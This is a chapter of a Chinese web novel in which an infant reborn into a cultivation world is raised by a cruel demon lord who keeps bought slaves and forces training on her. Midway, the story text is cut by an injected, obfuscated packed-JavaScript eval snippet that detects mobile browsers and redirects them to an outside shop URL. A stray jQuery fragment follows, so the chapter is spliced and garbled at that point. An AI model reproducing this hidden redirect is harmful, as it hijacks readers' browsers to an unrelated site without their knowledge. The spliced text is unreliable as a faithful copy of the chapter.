文趣网 > 其他小说 > 拆cp我是专业的[快穿] > 41. 第 41 章
    苏荇做了很长一段时间的噩梦,每日睁眼闭眼就是朱砂骨,模糊的看不清的人脸缠绕着她,让苏荇不由得思考起一个重要的问题。

    说起来,这个世界有鬼修来着吗?

    不说有没有鬼修,这个世界有鬼吗?

    在上一个世界了解到的一些的常识记忆还留在脑海,苏荇并不是很爱看小说的人,但也在短视频的轰炸和高中同桌的安利下,稍微了解一些关于修仙的常用设定。

    只不过在苏荇的概念里,修仙就和现代的上学一样,只需要每天学习和考试就可以自动升学,然后就需要去做社会实践刷学分。总体而言,是非常清晰明了的生活。

    谁曾想,这里的人命竟然如此不值钱,这让习惯了人人平等这一理念的苏荇颇为不适。

    服侍苏荇的人又换了一批,这次似乎不是再抓来的,而是买来的。

    她们看起来更加瘦弱,其中有些人看起来分明年纪尚小,还有人即使狼狈也能看出容貌不凡。只是不管怎样,她们的脸上既惶恐又麻木不说,私下里也从不会多余交谈。

    屋子总是静悄悄的,唯有景淮来时才有些人声。

    后来苏荇才在景淮的话中得知,原来是景淮嫌之前那批人不好用之后,又有手下给出谏言,说是那些世家都是自己养奴的。

    于是,景淮又亲自跑去黑市带走了一批人,又让手下人去教育了一番,才让这些人来服侍苏荇。

    “乖乖荇儿,她们都是你的奴。”景淮说话时,没有再演苏荇的爹或娘,但也不像是景淮,声音低沉,带着渗到骨子里的冷意,“知道奴是什么意思吗?是生是死,皆由你说了算,你想怎么玩,就怎么玩。”

    苏荇只伸出小手,嘴里咿呀咿呀地说着模糊的音节装傻。

    “是了,乖乖荇儿还不会玩呢。”景淮又笑起来,“你可要快些长大。”

    说到这,景淮眯起眼睛,不知想到什么,唤了声手下:“左护法,荇儿怎么还不说话,她是不是真被药傻了?”

    苏荇瞪眼。

    她才几个月大啊?

    这时候能说话才奇怪吧?

    左护法也这么想,但他不能这么说,只是夸赞道:“小主子聪明伶俐,一定能学会说话的。”

    “当真?”景淮不信,“她到现在连一句阿娘都不会叫,确实是笨了些吧?要真是个笨的……若是能学会听话,倒也有趣。”

    左护法额上冒出冷汗,他也没养过孩子,只听说了之前那批奶娘里有人心怀不轨想毒傻苏荇。他始终摸不清景淮对苏荇的态度,他人不知道苏荇的身世,他可是一清二楚。

    ……所以魔尊到底希不希望这孩子是个傻的啊?左护法摸不着头脑。

    左护法只是说:“魔尊大人,属下不知啊,属下原型是狐狸,实在不知道人类小孩的生长规律啊。”

    苏荇微微偏了偏头,没想到这魔修竟然还是个妖!

    原型还是狐狸,那应该很好看……

    苏荇眨了眨眼睛,这个左护法脸很方、眼睛很狭长,和传闻中的美艳动人的狐狸精似乎并没什么关系。

    分明就很路人脸。

    景淮瞥了一眼左护法:“你几岁会说话的?”

    左护法诚实回答:“三百岁,我得以幻化人形,是我们山头修炼最快的狐狸了。”

    言语中带着骄傲。

    苏荇无辜地看着景淮,又啊啊两声。

    “对了,魔尊大人!”左护法突然想起来,“我记得我老家有只鹦鹉精,他就很会说话,不过,也需要旁人一遍遍教他才行。”

    景淮一听,顺着问了句:“要教多少遍?”

    左护法想了想:“怎么也得是成百上千遍吧。”

    景淮把苏荇放回摇篮,指指跪在一旁的新任奶娘们:“你们以后,就在她耳边念阿娘和阿爹,每日一百遍,记住了?”

    景淮顿了顿,又说道:“不,早中晚各一百遍。”

    天晓得每日睡前听别人念一百遍阿娘和阿爹是一种怎样的体验,苏荇只觉得自己是要被超度的鬼,才不得不被困在这里听别人念经。

    苏荇当然会说话,但是她突然来到婴儿的身体里,本来也需要一段时间的磨合。锻炼着发音的时候,苏荇才猛然想起,比起说话,她是不是该先学会爬……

    但是每天的阿爹阿娘声实在太吵,苏荇在景淮再次来到这里的时候,抓着他的手就叫:“阿娘……”

    景淮浑身都僵住了,近乎新奇地仔细打量着襁褓里的苏荇。

    “再叫一遍。”景淮道。

    都是修仙世界了,天才小孩也很正常。

    苏荇对自己说,还是先“啊啊”了几次,再发出一声模糊的“阿娘”。

    景淮注视了苏荇许久,轻轻柔柔地应了一声:“哎,阿娘在。”

    景淮又抱着苏荇转了几圈,突然想起什么:“对了,小孩是要有玩具的。”

    说着,景淮的手上就多了个布老虎,放到苏荇怀里:“玩吧。”

    苏荇下意识捏了一把,发现这布老虎针脚细密不说,料子也是不错,摸在手里滑溜溜软绵绵的,一点也不糙。

    左护法看了眼布老虎,啧啧称奇:“魔尊大人,这可是鲛人泪的料子?”

    “我的小公主当然要用最好的。”景淮微微颔首,“荇儿,再叫声阿娘听听?”

    纵然苏荇从来到这个世界起就对景淮充满了防备之心,此时此刻也不免有些感动。不论怎样,他人对自己的好,苏荇总还是充满感激的。

    苏荇想,这样倒不奇怪原文里的苏荇会那么爱景淮。

    因为景淮的确就是她生命中唯一的温暖。

    ……到底是谁攻略谁啊。

    这也是提前进入世界的坏处了,就算知道景淮是实打实的杀人不偿命的大魔头,苏荇也没办法再用看小说时的想法去看待景淮。

    “啊……”苏荇张张嘴,还是遂了景淮的意,“娘。”

    景淮把苏荇放回摇篮里:“既然荇儿学会说娘了,之后只教她说爹就行了。”

    景淮离去,寂静的房间重复着“阿爹”的念咒一般的声音。

    苏荇闭了闭眼,收回了此前的感动,并且重新把景淮记在复仇的小本子上。

    待她能打得过景淮,定要把他也关起来没完没了在他耳边念佛经!

    苏荇被吵得实在是烦,但是哭也没用,哭了也只是让那些人一边抱着她一边念。苏荇有些暴躁,心里想着要是能听不见就好了。

    也就是在这瞬间,她发现耳边真的寂静了。

    不只是重复的人声听不见了,就连风声也消失得干净。

    苏荇不由得慌乱起来,在摇篮中蛄蛹好几下,看见那些人的嘴还在动,也能感受到身上的风,再看着窗外渡厄的叶子往下掉……

    坏了,她失聪了?

    谁干的?

    苏荇有些慌,张着嘴就想哭,还没出声,先看见摇篮旁多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693709|205491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    站了个男人。

    他一身素白长衫纤尘不染,身形挺拔如临风玉树,墨色长发松松垂落肩头,全身上下寻不出半件珠玉配饰,反倒把那股清透干净的气韵衬得淋漓尽致。

    就算看起来有些模糊。

    苏荇又使劲眨了眨眼,发现这个身影依然在,也还是那么模糊。

    苏荇又闭了闭眼。

    她还只是个小婴儿啊!

    难道她现在就被景淮这厮给刺激出幻觉了?

    还是说这个世界真有鬼,这个身影就是来找景淮寻仇的?

    那男人垂头看向苏荇。

    苏荇看不清他的动作,但是她觉得,他就该是在看着她的。

    苏荇甚至能感觉到,那人心底的疑惑。

    男人向苏荇伸出手,苏荇下意识闭上了眼,很快,耳边又传来了不停的“阿爹”声,以及平日里细微到习惯了的各种环境音。

    男人的身影淡了,但是在他消失之前,苏荇隐隐听见了他内心的想法——“这小孩好笨”。

    苏荇嗷一嗓子哭起来,一直哭到景淮回来。

    苏荇回想着之前暴躁到极点时的感觉,当场,再次体验了一把失聪。

    景淮对苏荇投去疑惑的目光,手指轻点苏荇的额头。

    苏荇又能听见声音了,用无辜的双眼看着景淮,心里期待着阿飘大哥快快出现,有仇就去找景淮。

    可惜,只有景淮一言难尽地看着苏荇。

    “竟是先把自己的灵窍封了?”景淮感慨,“乖荇儿,下次可不要这么玩了。”

    苏荇一脸懵地看着景淮。

    这就是当婴儿的坏处了,想要份解释说明都没有。

    好在一旁的左护法开口道:“恭喜魔尊大人,小主子天资聪颖,无师自通了封窍一法!”

    景淮道:“可她封的是自己的窍。”

    左护法自有一套理论:“这说明小主子天生就是当魔修的坯子!连自己都不放过,未来对他人也定然不会心慈手软,咱们魔宫后继有人啊!”

    苏荇懂了。

    所以她是对自己放了个技能。

    既然是技能,那她应该也可以对别人放?

    苏荇回忆着那种微妙的感觉,并试图将希望自己听不见,转为真希望景淮能闭嘴。

    苏荇使劲去想,下一秒便昏了过去。

    再一睁眼,冷不丁瞅见暗里浮着张亮堂堂的凶脸,吓了一身冷汗。仔细一看,才发现,那玩意似乎是之前景淮送的布老虎。只是它发着光,在夜里着实有些瘆人。

    苏荇在心里暗骂了景淮一句。

    正要动动身子,苏荇又听见身旁有人讲话,那声音幽幽的,仿佛是从不知名的远方飘来的。

    “荇儿好大的胆子,竟想封我的窍。”

    景淮伸出手,对着苏荇在布老虎的微光下,似笑非笑,配上他那张妖异十足的脸,显得有些可怖:“我改变主意了,我的孩子怎么会是寻常人家的孩子呢?荇儿,为师这就教你引气入体。”

    苏荇眨了眨眼睛,能快些修炼自然是好的,但是原文中也说了,修炼一事并不容易,尤其是入门的第一步就算引气入体,这可是需要足够的领悟之后……

    突然间,苏荇只觉得有什么东西在捶打她的全身细细密密的每一个角落,她忍不住哭出来。

    好疼!

    景淮依然眼里含笑道:“要么学会引气入体、要么死,攸宁,可别让我太失望啊。”